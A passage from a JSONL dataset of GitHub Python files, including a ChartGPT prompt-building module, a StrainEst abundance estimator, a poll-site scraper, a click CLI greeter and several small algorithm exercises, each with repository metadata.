pass\n\n\n_PLOTLY_PROMPT = \"\"\"\nimport pandas as pd\nimport numpy as np\nfrom typing import *\nimport plotly\n\ndef {method_name}(data: pd.DataFrame) -> Union[\"plotly.graph_objs.Figure\", \"plotly.graph_objs.Data\"]:\n \\\"\\\"\\\"\n {description}\n\n Visualize the data using the Plotly library.\n\n Args:\n data (pd.DataFrame): The data to visualize.\n\n Returns:\n Union[plotly.graph_objs.Figure, plotly.graph_objs.Data]: The plotly visualization figure object.\n \\\"\\\"\\\"\n # All task-specific imports here:\n import plotly\n\n {{Task implementation}}\n\"\"\"\n\n\nclass PlotlyVisualizationTask(BaseTask):\n \"\"\"A task that visualizes data using Plotly.\"\"\"\n\n @property\n def name(self) -> str:\n return \"Plotly\"\n\n def get_task_prompt(\n self,\n task_name: str,\n description: str,\n ) -> str:\n return _PLOTLY_PROMPT.format(\n method_name=task_name,\n description=description,\n )\n\n def handle_output(self, task_output: Any) -> None:\n import streamlit as st\n\n st.plotly_chart(task_output, use_container_width=True)\n\n\n_MATPLOTLIB_PROMPT = \"\"\"\nimport pandas as pd\nimport numpy as np\nfrom typing import *\nfrom matplotlib.figure import Figure\n\ndef {method_name}(data: pd.DataFrame) -> \"Figure\":\n \\\"\\\"\\\"\n {description}\n\n Visualize the data using the Matplotlib library.\n\n Args:\n data (pd.DataFrame): The data to visualize.\n\n Returns:\n matplotlib.figure.Figure: The matplotlib visualization figure.\n \\\"\\\"\\\"\n # All task-specific imports here:\n import matplotlib\n\n {{Task implementation}}\n\"\"\"\n\n\nclass MatplotlibVisualizationTask(BaseTask):\n \"\"\"A task that visualizes data using Matplotlib.\"\"\"\n\n @property\n def name(self) -> str:\n return \"Matplotlib\"\n\n def get_task_prompt(\n self,\n task_name: str,\n description: str,\n ) -> str:\n return _MATPLOTLIB_PROMPT.format(\n method_name=task_name,\n description=description,\n )\n\n def handle_output(self, task_output: Any) -> None:\n import streamlit as st\n\n st.pyplot(task_output)\n\n\n_ALTAIR_PROMPT = \"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom typing import *\nimport altair as alt\n\ndef {method_name}(data: pd.DataFrame) -> \"alt.Chart\":\n \\\"\\\"\\\"\n {description}\n\n Visualize the data using the Altair library.\n\n Args:\n data (pd.DataFrame): The data to visualize.\n\n Returns:\n alt.Chart: The altair visualization chart.\n \\\"\\\"\\\"\n # All task-specific imports here:\n import altair as alt\n\n {{Task implementation}}\n\"\"\"\n\n\nclass AltairVisualizationTask(BaseTask):\n \"\"\"A task that visualizes data using Altair.\"\"\"\n\n @property\n def name(self) -> str:\n return \"Altair\"\n\n def get_task_prompt(\n self,\n task_name: str,\n description: str,\n ) -> str:\n return _ALTAIR_PROMPT.format(\n method_name=task_name,\n description=description,\n )\n\n def handle_output(self, task_output: Any) -> None:\n import streamlit as st\n\n st.altair_chart(task_output, use_container_width=True)\n\n\nTOOLS: List[BaseTask] = [\n PlotlyVisualizationTask(),\n AltairVisualizationTask(),\n MatplotlibVisualizationTask(),\n]\n\n\ndef extract_first_code_block(markdown_text: str) -> str:\n if (\n \"```\" not in markdown_text\n and \"return\" in markdown_text\n and \"def\" in markdown_text\n ):\n # Assume that everything is code\n return markdown_text\n\n pattern = r\"(?<=```).+?(?=```)\"\n\n # Use re.DOTALL flag to make '.' match any character, including newlines\n first_code_block = re.search(pattern, markdown_text, flags=re.DOTALL)\n\n code = first_code_block.group(0) if first_code_block else \"\"\n code = code.strip().lstrip(\"python\").strip()\n return code\n\n\ndef num_tokens_from_messages(\n messages: List[dict], model: str = \"gpt-3.5-turbo-0301\"\n) -> int:\n \"\"\"Returns the number of tokens used by a list of messages.\"\"\"\n try:\n encoding = tiktoken.encoding_for_model(model)\n except KeyError:\n encoding = tiktoken.get_encoding(\"cl100k_base\")\n if model == \"gpt-3.5-turbo-0301\": # note: future models may deviate from this\n num_tokens = 0\n for message in messages:\n num_tokens += (\n 4 # every message follows {role/name}\\n{content}\\n\n )\n for key, value in message.items():\n num_tokens += len(encoding.encode(value))\n if key == \"name\": # if there's a name, the role is omitted\n num_tokens += -1 # role is always required and always 1 token\n num_tokens += 2 # every reply is primed with assistant\n return num_tokens\n else:\n raise NotImplementedError(\n f\"\"\"num_tokens_from_messages() is not presently implemented for model {model}.\n See https://github.com/openai/openai-python/blob/main/chatml.md for information on how messages are converted to tokens.\"\"\"\n )\n\n\ndef get_df_types_info(df: pd.DataFrame = None) -> str:\n column_info = {\n \"dtype\": [str(dtype) for dtype in df.dtypes],\n \"inferred dtype\": [\n pd.api.types.infer_dtype(column) for _, column in df.items()\n ],\n \"missing values\": df.isna().sum().to_list(),\n }\n\n return pd.DataFrame(\n column_info,\n index=df.columns,\n ).to_csv()\n\n\ndef get_column_descriptions_info(column_desc_df: pd.DataFrame) -> str:\n return \"Column descriptions: \\n\\n\" + column_desc_df.to_csv()\n\n\ndef get_df_stats_info(df: pd.DataFrame) -> str:\n return df.describe().to_csv()\n\n\ndef get_df_sample_info(df: pd.DataFrame, sample_size: int = 20) -> str:\n return df.sample(min(len(df), sample_size), random_state=1).to_csv()\n\n\ndef get_dataset_description_prompt(\n dataset_df: pd.DataFrame,\n column_desc_df: Optional[pd.DataFrame] = None,\n light: bool = False,\n) -> str:\n prompt = f\"\"\"\nI have a dataset (as Pandas DataFrame) that contains data with the following characteristics:\n\nColumn data types:\n\n{get_df_types_info(dataset_df)}\n\n{get_column_descriptions_info(column_desc_df) if column_desc_df is not None else \"\"}\n\nData sample:\n\n{get_df_sample_info(dataset_df, sample_size=10 if light else 20)}\n \"\"\"\n\n if light:\n return prompt\n\n return (\n prompt\n + f\"\"\"\nData statistics:\n\n{get_df_stats_info(dataset_df)}\n \"\"\"\n )\n\n\nclass DataDescription(TypedDict):\n data_description: str\n columns: List[Dict[str, str]]\n observations: List[str]\n chart_ideas: List[str]\n\n\n@st.cache_data(show_spinner=False)\ndef get_data_description(\n dataset_df: pd.DataFrame,\n openai_model: str = \"gpt-3.5-turbo\",\n show_system_messages: bool = False,\n) -> DataDescription:\n user_prompt = f\"\"\"\n{get_dataset_description_prompt(dataset_df)}\n\nPlease provide the following information based on this JSON template:\n\n{{\n \"data_description\": \"{{A concise description of the dataset}}\",\n \"columns\": [\n {{ \"name\": \"{{column name}}\", \"description\": \"{{A short description about the column}}\" }},\n ]\n \"observations\": [\n \"{{Interesting or surprising observations about the data}}\",\n ]\n \"chart_ideas\": [\n \"{{Concise description of your best chart or visualization idea}}\",\n \"{{Concise description of your second best chart or visualization idea}}\",\n \"{{Concise description of the third best chart or visualization idea}}\",\n \"{{Concise description of the fourth best chart or visualization idea}}\",\n ]\n}}\n\nPlease only respond with a valid JSON and fill out all {{placeholders}}:\n \"\"\"\n\n messages = [\n {\n \"role\": \"system\",\n \"content\": \"You are a helpful assistant that helps with describing data. The user will share some information about a Pandas dataframe, and you will create a description of the data based on a user-provided JSON template. Please provide your answer as valid JSON.\",\n },\n {\"role\": \"user\", \"content\": user_prompt},\n ]\n print(\"Prompt tokens\", num_tokens_from_messages(messages))\n\n completion = openai.ChatCompletion.create(model=openai_model, messages=messages)\n response_json = json.loads(completion.choices[0].message.content)\n\n if show_system_messages:\n with st.expander(\"System messages\"):\n for message in messages:\n st.markdown(message[\"content\"])\n st.divider()\n st.markdown(\"**GPT Response:**\")\n st.json(response_json)\n st.divider()\n st.markdown(f\"**User tokens:** {num_tokens_from_messages(messages)}\")\n return response_json\n\n\nclass TaskSummary(TypedDict):\n name: str\n method_name: str\n task_description: str\n emoji: str\n\n\n@st.cache_data(show_spinner=False)\ndef get_task_summary(\n dataset_df: pd.DataFrame,\n task_instruction: str,\n openai_model: str = \"gpt-3.5-turbo\",\n column_desc_df: Optional[pd.DataFrame] = None,\n show_system_messages: bool = False,\n) -> TaskSummary:\n user_prompt = f\"\"\"\n{get_dataset_description_prompt(dataset_df, column_desc_df)}\n\nBased on this data, I have the following task instruction:\n\n{task_instruction}\n\nPlease provide me the following information based on the task instruction:\n\n{{\n \"name\": \"{{Short Task Name}}\",\n \"method_name\": \"{{python_method_name}}\",\n \"task_description\": \"{{a concise description of the task}}\",\n \"emoji\": \"{{a descriptive emoji}}\",\n}}\n\nThe JSON needs to be compatible with the following TypeDict:\n\n```python\nclass TaskSummary(TypedDict):\n name: str\n method_name: str\n task_description: str\n emoji: str\n```\n\nPlease only respond with a valid JSON:\n \"\"\"\n messages = [\n {\n \"role\": \"system\",\n \"content\": \"You are a helpful assistant. The user will share some characteristics of a dataset and a data exploration or visualization task instructions that the user likes to perform on this dataset. You will create some descriptive information about the task instruction based on a provided JSON template. Please only respond with a valid JSON.\",\n },\n {\"role\": \"user\", \"content\": user_prompt},\n ]\n print(\"Prompt tokens\", num_tokens_from_messages(messages))\n completion = openai.ChatCompletion.create(model=openai_model, messages=messages)\n response_json = json.loads(completion.choices[0].message.content)\n\n if show_system_messages:\n with st.expander(\"System messages\"):\n for message in messages:\n st.markdown(message[\"content\"])\n st.divider()\n st.markdown(\"**GPT Response:**\")\n st.json(response_json)\n st.divider()\n st.markdown(f\"**User tokens:** {num_tokens_from_messages(messages)}\")\n\n return response_json\n\n\n@st.cache_data(show_spinner=False)\ndef get_task_code(\n dataset_df: pd.DataFrame,\n task_instruction: str,\n task_code_template: str,\n task_library: str,\n openai_model: str = \"gpt-3.5-turbo\",\n column_desc_df: Optional[pd.DataFrame] = None,\n show_system_messages: bool = False,\n) -> str:\n user_prompt = f\"\"\"\n{get_dataset_description_prompt(dataset_df, column_desc_df)}\n\nBased on this data, please create a function that performs the following Data Visualization task with {task_library}:\n\n{task_instruction}\n\nPlease use the following template and implement all {{placeholders}}:\n\n```\n{task_code_template}\n```\n\nImplement all {{placeholders}}, make sure that the Python code is valid. Please put the code in a markdown code block (```) and ONLY respond with the code:\n \"\"\"\n\n messages = [\n {\n \"role\": \"system\",\n \"content\": \"You are a helpful assistant that helps create python functions to perform data exploration and visualization tasks on a Pandas dataframe. The user will provide a description about the dataframe as well as a code template and instructions. Please only answer with valid Python code.\",\n # \"content\": \"You are a helpful assistant that helps create python functions to perform data visualizations on a Pandas dataframe. The user will provide a description about the dataframe as well as a code template and instructions. Please only answer with valid Python code.\",\n },\n {\"role\": \"user\", \"content\": user_prompt},\n ]\n\n print(\"Prompt tokens\", num_tokens_from_messages(messages))\n completion = openai.ChatCompletion.create(model=openai_model, messages=messages)\n response = completion.choices[0].message.content.strip()\n\n if show_system_messages:\n with st.expander(\"System messages\"):\n for message in messages:\n st.markdown(message[\"content\"])\n st.divider()\n st.markdown(\"**GPT Response:**\")\n st.markdown(response)\n st.divider()\n st.markdown(f\"**User tokens:** {num_tokens_from_messages(messages)}\")\n\n code_block = extract_first_code_block(response)\n if not code_block and response:\n st.info(response, icon=\"🤖\")\n return code_block\n\n\n@st.cache_data(show_spinner=False)\ndef get_modified_code(\n task_code: str,\n instruction: str,\n dataset_df: pd.DataFrame,\n exception_message: Optional[str] = None,\n column_desc_df: Optional[pd.DataFrame] = None,\n openai_model: str = \"gpt-3.5-turbo\",\n show_system_messages: bool = False,\n) -> str:\n user_prompt = f\"\"\"\n{get_dataset_description_prompt(dataset_df, column_desc_df, light=True)}\n\nBased on this data, I implemented the following python function:\n\n```python\n{task_code}\n```\n\n{\"But it throws the following exception: \" + exception_message if exception_message else \"\"}\n\nPlease modify this code based on the following instruction:\n\n```\n{instruction}\n```\n\nIt is very important to use the same function name and signature from the original code. Put the code in a markdown code block (```) and only respond with entire code that includes the modifications:\n\"\"\"\n\n messages = [\n {\n \"role\": \"system\",\n \"content\": \"You are a helpful assistant that helps to modify python functions that perform data exploration or visualization tasks on a Pandas dataframe. The user will provide a function implementation and a modification instruction. Please modify the code based on the instruction and only answer with valid Python code.\",\n },\n {\"role\": \"user\", \"content\": user_prompt},\n ]\n\n print(\"Prompt tokens\", num_tokens_from_messages(messages))\n completion = openai.ChatCompletion.create(model=openai_model, messages=messages)\n response = completion.choices[0].message.content.strip()\n if show_system_messages:\n with st.expander(\"System messages\"):\n for message in messages:\n st.markdown(message[\"content\"])\n st.divider()\n st.markdown(\"**GPT Response:**\")\n st.markdown(response)\n st.divider()\n st.markdown(f\"**User tokens:** {num_tokens_from_messages(messages)}\")\n\n code_block = extract_first_code_block(response)\n if not code_block and response:\n st.info(response, icon=\"🤖\")\n return code_block\n","repo_name":"LukasMasuch/chartgpt","sub_path":"prompts.py","file_name":"prompts.py","file_ext":"py","file_size_in_byte":15810,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"36179156203","text":"import numpy as np\n\n\nDOWNLOAD = False\nif DOWNLOAD:\n import urllib.request\n MPCORB_URL = 'http://www.minorplanetcenter.net/iau/MPCORB/MPCORB.DAT.gz'\n urllib.request.urlretrieve(MPCORB_URL, 'data/MPCORB.DAT.gz')\n\nDATA = np.genfromtxt('data/MPCORB.DAT.gz',\n usecols=(0, 8, 10),\n skip_header=43)\n\nprint(DATA[0])\nprint(DATA[-1])\nprint(len(DATA), len(DATA[0]))\n","repo_name":"gvard/gvard.github.io","sub_path":"py/astrodata/MPCOrb/plot_MPCORB10.py","file_name":"plot_MPCORB10.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"42128026730","text":"# greeter.py\n\n\nimport click\n\n\n@click.command()\n@click.argument(\"name\")\n@click.option(\"-l\",\n \"--lang\", \n help=\"Specify language (en) or (es)\",\n default=\"en\",\n type=click.Choice([\"en\", \"es\"]))\n@click.option(\"--say-it\",\n type=int,\n default=1,\n help=\"Times to repead\")\ndef greet(name, lang, say_it):\n \"\"\"Displays a greeting to the user\"\"\"\n\n greetings = \"Hello\" if lang == \"en\" else \"Hola\"\n \n for _ in range(say_it):\n click.echo(f\"{greetings}, {name} !\")\n","repo_name":"acnaweb/cli-tools","sub_path":"cli/greeter.py","file_name":"greeter.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2397294227","text":"import json as _json\nimport os as _os\nimport time as _time\nfrom time import sleep as _sleep\n\nimport requests as _requests\nfrom bs4 import BeautifulSoup as _BeautifulSoup\n\n\ndef _get_site():\n for a in range(5):\n try:\n res = _requests.get('http://ewybory.eu/sondaze')\n if res.ok:\n return res\n except Exception as e:\n print(e)\n print('Couldnt get site...')\n _sleep(a)\n print('Trying again...')\n\n print('Couldnt get site!')\n return None\n\n\ndef _get_name(th):\n return th.find('div').text\n\n\ndef _get_sup(th):\n parts = th.find('strong').text.split(' ')\n if len(parts) != 2:\n # Something is not yes\n return [-1, 0]\n growth = 0\n if parts[1] == '▲':\n growth = 1\n elif parts[1] == '▼':\n growth = -1\n return [float(parts[0]), growth]\n\n\ndef scrape(no_cache=False, cache_file_name='vote-results.json', cache_expire_time=24 * 60 * 60):\n \"\"\"\n This function downloads site http://ewybory.eu/sondaze and scrapes it for support data.\n Then, it saves the results in cache file (named vote-results.json by default),\n and uses this file for next 24 hours.\n\n If some party support can't be read for some reason, it will be -1\n\n :param no_cache: Don't save results in cache file\n :param cache_file_name: Alternative cache file path\n :param cache_expire_time: Time (in seconds) after the cache file will be discarded and site will be downloaded again\n :return: Dict with results\n \"\"\"\n result = {\n 'success': False,\n 'support': {\n 'pis': -1,\n 'ko': -1,\n 'lewica': -1,\n 'konfederacja': -1,\n 'psl': -1,\n 'polska2050': -1\n },\n 'growth': {\n 'pis': 0,\n 'ko': 0,\n 'lewica': 0,\n 'konfederacja': 0,\n 'psl': 0,\n 'polska2050': 0\n }\n }\n\n get_site = False\n try:\n if no_cache:\n raise ValueError\n modify = _os.path.getmtime(cache_file_name)\n if modify < _time.time() - cache_expire_time: # If cache file is older than 24h\n raise IOError\n with open(cache_file_name, 'rb') as f:\n print('Got results from cache')\n return _json.load(f)\n except FileNotFoundError:\n print('Cache file not found!')\n get_site = True\n except IOError:\n print('Cache file toot old!')\n get_site = True\n except ValueError:\n print('No-cache set to true, not touching cache files!')\n get_site = True\n\n if get_site:\n print('Getting the site from internet...')\n res = _get_site()\n if res is None:\n print(\"Can't get the site! Most probably no internet :/\")\n return result\n soup = _BeautifulSoup(res.content, 'html.parser')\n\n print('Parsing with soup...')\n\n div = soup.find('div', class_='entry-content clearfix')\n table = div.find('table')\n tr = table.find('tr')\n ths = tr.find_all('th', class_='name_party_poll')\n\n name_party = {\n 'pis': 'pis',\n 'ko': 'ko',\n 'lewica': 'lewica',\n 'konfederacja': 'konfederacja',\n 'psl': 'psl',\n 'polska 2050': 'polska2050',\n 'n.solidarność': 'nowasolidarnosc'\n }\n\n for i in range(len(name_party)):\n party = name_party.get(_get_name(ths[i]).lower(), None)\n if party is None:\n print(\"Looks like some unknown party is on graph? \"\n \"It's possible that this means that this repo needs update - \"\n \"feel free to make an Issue on GitHub about that :)\")\n continue\n sup = _get_sup(ths[i])\n result['support'][party] = sup[0]\n result['growth'][party] = sup[1]\n\n result['success'] = True\n\n if not no_cache:\n with open(cache_file_name, 'w') as f:\n _json.dump(result, f)\n\n return result\n","repo_name":"TheLastGimbus/APiS-Scraper","sub_path":"apis_scraper/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"14404413201","text":"def solution(babbling):\n answer = 0\n possible_answers = ['aya', 'ye', 'woo', 'ma']\n for babble in babbling:\n for possible_answer in possible_answers:\n if possible_answer * 2 not in babble:\n babble = babble.replace(possible_answer, ' ')\n\n if len(babble.replace(' ', '')) == 0:\n answer += 1\n return answer\n\n\nsolution([\"ayaye\", \"uuu\", \"yeye\", \"yemawoo\", \"ayaayaa\"])\n","repo_name":"Ohjinn/algo-py","sub_path":"programmers/level1/옹알이_2.py","file_name":"옹알이_2.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39556063840","text":"import math\ndelta =1e-8\neps = 1e-8\ndef cal_val(fun, a, b):\n n=1\n fa= fun(a)\n print(fa)\n fb= fun(b)\n print(fb)\n c=(a+b)/2\n while True:\n if fa*fb > 0:\n print(\"不能用二分法求解!\")\n break\n c=(a+b)/2\n fc=fun(c)\n print('二分次数',\"{0:.2f}\".format(n),'c=',\"{0:.8f}\".format(c),'f(c)',\"{0:.8f}\".format(fc),'f(a)',\"{0:.8f}\".format(fa),'f(b)',\"{0:.8f}\".format(fb))\n n=n+1\n\n if fa*fc <0:\n b=c\n fb=fc\n else:\n a=c\n fa=fc\n if b-a List[List[int]]:\n res = []\n path = []\n \n def dfs(nums, start):\n res.append(path[:])\n \n for i in range(start,len(nums)):\n path.append(nums[i])\n dfs(nums, i+1)\n path.pop()\n \n dfs(nums,0)\n return res\n ","repo_name":"sadbird1729/LeetcodeRepo","sub_path":"78-subsets/78-subsets.py","file_name":"78-subsets.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36205442970","text":"from __future__ import division\n\nimport warnings\nimport sys\nimport csv\nimport os.path\nimport collections\n\nimport numpy as np\nimport scipy as sp\nfrom scipy import sparse\nimport pandas as pd\nwith warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n from sklearn.model_selection import ShuffleSplit\nfrom sklearn.linear_model import Lasso, LassoCV\nfrom scipy.stats import pearsonr\nimport matplotlib.pyplot as plt\nimport pysam\n\n\ndef get_counts(samfile, positions, quality_threshold=15):\n \"\"\"Get the pileup column at positions pos (1-based).\"\"\"\n\n counts = np.zeros((4, len(positions)), dtype=np.int64)\n for i, position in enumerate(positions):\n for reference in samfile.references:\n ref_count = samfile.count_coverage(\n contig=reference, start=position-1, stop=position,\n quality_threshold=quality_threshold)\n counts[:, i] += np.asarray(ref_count, dtype=np.int64).flatten()\n return counts\n\n\ndef lasso_mpm(alphas, mse_path):\n \"\"\" Compute the Lasso most parsimonious model (i.e. fewest genomes, smaller\n alpha) within one standard errors of the best model.\n \"\"\"\n\n mse_mean = np.mean(mse_path, axis=1)\n mse_std = np.std(mse_path, axis=1)\n mse_min_idx = np.argmin(mse_mean)\n mse_min = mse_mean[mse_min_idx]\n mse_min_std = mse_std[mse_min_idx]\n mse_min_std_min = mse_min - mse_min_std\n mse_min_std_max = mse_min + mse_min_std\n\n mse_mpm_idx = mse_min_idx\n for i in range(mse_min_idx-1, -1, -1):\n if (mse_mean[i]>=mse_min_std_min) and (mse_mean[i]<=mse_min_std_max):\n mse_mpm_idx = i\n\n alpha_mpm = alphas[mse_mpm_idx]\n mse_mean_mpm = mse_mean[mse_mpm_idx]\n mse_std_mpm = mse_std[mse_mpm_idx]\n\n return alpha_mpm, mse_mean_mpm, mse_std_mpm\n\n\ndef est(snp_fn, bam_fn, output_dir, quality_thr=20, min_depth_percentile=10,\n max_depth_percentile=90, min_depth_absolute=6, min_depth_base=0.01,\n max_ident_thr=0.95, threads=1):\n\n def write_abund_info():\n abund_df.to_csv(abund_fn, float_format=\"%.6f\", sep='\\t',\n header=[bam_bn], index_label=\"OTU\")\n\n with open(info_fn, 'w') as info_handle:\n info_writer = csv.writer(info_handle, delimiter='\\t',\n lineterminator='\\n')\n info_writer.writerow(info.keys())\n info_writer.writerow(info.values())\n\n\n CV_NITER = 20\n NALPHA = 50\n MAX_NITER = 5000\n TEST_SIZE = 0.5\n\n BASE_ORDER = ['A', 'C', 'G', 'T']\n\n BASE_P = {\n 'A': [1, 0, 0, 0],\n 'C': [0, 1, 0, 0],\n 'G': [0, 0, 1, 0],\n 'T': [0, 0, 0, 1],\n }\n\n # output filenames\n abund_fn = os.path.join(output_dir, \"abund.txt\")\n max_ident_fn = os.path.join(output_dir, \"max_ident.txt\")\n info_fn = os.path.join(output_dir, \"info.txt\")\n counts_fn = os.path.join(output_dir, \"counts.txt\")\n mse_fn = os.path.join(output_dir, \"mse.pdf\")\n\n snp = pd.read_csv(snp_fn, sep=',', index_col=0)\n\n snp = snp.drop('Ref', 1)\n ref_id = snp.index.name\n positions = snp.index.values # positions (1-based)\n genomes = snp.columns.values\n\n abund_df = pd.Series(index=genomes)\n abund_df.fillna(0.0, inplace=True)\n info = collections.OrderedDict()\n info[\"Filename\"] = \"\"\n info[\"MinDepth\"] = np.nan\n info[\"MaxDepth\"] = np.nan\n info[\"NPos\"] = np.nan\n info[\"NGen\"] = np.nan\n info[\"Alpha\"] = np.nan\n info[\"MSEAve\"] = np.nan\n info[\"MSEStd\"] = np.nan\n info[\"NLassoIter\"] = np.nan\n info[\"R\"] = np.nan\n info[\"PVal\"] = np.nan\n\n # get counts\n bam_bn = os.path.basename(bam_fn)\n align = pysam.AlignmentFile(bam_fn, 'rb')\n counts = get_counts(align, positions, quality_thr)\n align.close()\n\n info[\"Filename\"] = bam_bn\n\n # compute depths of coverage (DoC) and percentiles\n depths = counts.sum(axis=0)\n depths_nz = depths[depths>0]\n min_depth, max_depth = np.percentile(\n depths_nz, [min_depth_percentile, max_depth_percentile])\n info[\"MinDepth\"] = min_depth\n info[\"MaxDepth\"] = max_depth\n\n # filter by DoC\n keep = np.logical_and.reduce(\n (depths>=min_depth, depths<=max_depth, depths>=min_depth_absolute))\n snp = snp[keep]\n counts = counts[:, keep]\n positions_used = snp.index.values\n\n info[\"NPos\"] = snp.shape[0]\n if info[\"NPos\"] < 2:\n sys.stderr.write(\"Insufficient number of positions covered (<2)\")\n write_abund_info()\n return\n\n # count filter\n counts[counts<(counts.sum(axis=0)*min_depth_base)] = 0\n\n # compute frequencies and alleles\n freqs = (counts / counts.sum(axis=0))\n alleles_count = (counts>0).sum(axis=0)\n\n # write counts\n counts_df = pd.DataFrame(index=positions_used, columns=BASE_ORDER,\n data=counts.T)\n counts_df.to_csv(counts_fn, sep='\\t', index_label=\"Pos\")\n\n # SNP probability matrix\n snp_prob_flat = np.empty((4*snp.shape[0], snp.shape[1]), dtype=np.float64)\n for j in range(snp.shape[1]):\n p = [BASE_P.get(b, [0, 0, 0, 0]) for b in snp.iloc[:, j]]\n snp_prob_flat[:, j] = np.asarray(p).flatten()\n freqs_flat = freqs.flatten(order='F')\n\n # max identities\n tmp = snp_prob_flat * freqs_flat.reshape(-1, 1)\n tmp = tmp.reshape(-1 , 4, tmp.shape[1]).sum(axis=1)\n max_ident = (tmp>0).sum(axis=0) / tmp.shape[0]\n\n # write maximum identities\n max_ident_df = pd.Series(index=genomes, data=max_ident)\n max_ident_df.to_csv(max_ident_fn, float_format=\"%.6f\", sep='\\t',\n header=[bam_bn], index_label=\"OTU\")\n\n # remove genomes with the identity below the threshold\n keep = (max_ident >= max_ident_thr)\n snp_prob_flat = snp_prob_flat[:, keep]\n genomes_used = genomes[keep]\n info[\"NGen\"] = genomes_used.shape[0]\n\n if info[\"NGen\"] == 0:\n sys.stderr.write(\"No compatible genomes available\")\n write_abund_info()\n return\n\n # remove position/base pairs where the sum of probabilities is 0\n keep = (snp_prob_flat.sum(axis=1) != 0)\n snp_prob_flat = snp_prob_flat[keep]\n freqs_flat = freqs_flat[keep]\n\n # Lasso\n X = sparse.csr_matrix(snp_prob_flat)\n y = freqs_flat\n\n # Tuning Lasso alpha (most parsimonious model)\n cv = ShuffleSplit(n_splits=CV_NITER, test_size=TEST_SIZE, random_state=0)\n\n lasso_cv = LassoCV(eps=0.001, n_alphas=NALPHA,\n fit_intercept=False, normalize=False,\n precompute='auto', max_iter=MAX_NITER,\n tol=0.0001, copy_X=True, cv=cv, verbose=False,\n n_jobs=threads, positive=True, random_state=0,\n selection='cyclic')\n lasso_cv.fit(X, y)\n alpha, mse_ave, mse_std = lasso_mpm(lasso_cv.alphas_, lasso_cv.mse_path_)\n\n info[\"Alpha\"] = alpha\n info[\"MSEAve\"] = mse_ave\n info[\"MSEStd\"] = mse_std\n\n # MSE plot\n m_log_alphas = -np.log10(lasso_cv.alphas_)\n fig = plt.figure(1)\n plt.plot(m_log_alphas, lasso_cv.mse_path_, ':')\n plt.plot(m_log_alphas, lasso_cv.mse_path_.mean(axis=-1), 'k',\n label='Average across the folds', linewidth=2)\n plt.axvline(-np.log10(alpha), linestyle='--', color='k',\n label='Alpha (most parsimonious model)')\n plt.xlabel('-log(alpha)')\n plt.ylabel('Mean square error')\n fig.savefig(mse_fn, bbox_inches='tight')\n\n # Relative abundance estimation\n lasso = Lasso(alpha=alpha, fit_intercept=False, normalize=False,\n precompute=False, copy_X=True, max_iter=MAX_NITER,\n tol=0.0001, warm_start=False, positive=True,\n random_state=0, selection='cyclic')\n lasso.fit(X, y)\n lasso_coef = np.atleast_1d(lasso.coef_)\n\n info[\"NLassoIter\"] = lasso.n_iter_\n\n # normalize the Lasso coefficients\n coef_norm = lasso_coef / np.sum(lasso_coef)\n abund_df[genomes_used] = coef_norm\n\n # pearson correlation\n y_pred = X.dot(coef_norm)\n\n info[\"R\"], info[\"PVal\"] = pearsonr(y, y_pred)\n\n write_abund_info()\n\n if (np.max(coef_norm) < 0.9) and (max_ident_thr < 0.99):\n sys.stdout.write(\"WARNING: the maximum identity threshold is <0.99 and \"\n \"StrainEst has inferred a mixture of strains. The \"\n \"mixture of strains could be a single strain with no \"\n \"available reference genome. Please check the file \"\n \"counts.txt.\\n\")\n","repo_name":"compmetagen/strainest","sub_path":"strainest/api/_est.py","file_name":"_est.py","file_ext":"py","file_size_in_byte":8428,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"52"} +{"seq_id":"43556871427","text":"import numpy\nimport matplotlib.pyplot\nimport scipy.ndimage\n\n\ndef make_targets(output_nodes, marker):\n targets = numpy.zeros(output_nodes) + 0.01\n targets[marker] = 0.99\n return targets\n\n\ndef scale_inputs(source, source_max):\n return (0.99 * source / source_max) + 0.01\n\n\ndef load_mist_file(file_name):\n input_lists = []\n markers = []\n with open(file_name, \"r\") as data_file:\n for line in data_file:\n values = line.split(\",\")\n markers.append(int(values[0]))\n input_lists.append(scale_inputs(numpy.asfarray(values[1:]), 255.0))\n\n data_file.close()\n return markers, input_lists\n\n\ndef main():\n markers, input_lists = load_mist_file(\"mnist\\\\mnist_test_10.csv\")\n\n index = 2\n print(markers[index])\n print(input_lists[index])\n print(make_targets(10, markers[index]))\n matplotlib.pyplot.imshow(input_lists[index].reshape((28, 28)), cmap=\"Greys\", interpolation=\"None\")\n matplotlib.pyplot.show()\n\n inputs_plusx_img = scipy.ndimage.interpolation.rotate(input_lists[index].reshape(28, 28), 10,\n cval=0.01, order=1, reshape=False)\n matplotlib.pyplot.imshow(inputs_plusx_img.reshape((28, 28)), cmap=\"Greys\", interpolation=\"None\")\n matplotlib.pyplot.show()\n\n # rotated clockwise by 10 degrees\n inputs_minusx_img = scipy.ndimage.interpolation.rotate(input_lists[index].reshape(28, 28), -10,\n cval=0.01, order=1, reshape=False)\n matplotlib.pyplot.imshow(inputs_minusx_img.reshape((28, 28)), cmap=\"Greys\", interpolation=\"None\")\n matplotlib.pyplot.show()\n\n\nif __name__ == '__main__':\n # call the main function\n main()\n","repo_name":"staimov/Neural","sub_path":"load_file.py","file_name":"load_file.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3134144585","text":"#!/usr/bin/env python\n\nimport pickle\nimport numpy as np\n\nfrom cerranet import CerraNet\nfrom keras import layers\n\ndef get_weight(layer):\n return layer.get_weights()[0]\n\ndef get_bias(layer):\n return layer.get_weights()[1]\n\ndef get_state_dict():\n model = CerraNet()\n state_dict = dict()\n for layer in model.layers:\n if isinstance(layer, layers.Conv2D):\n 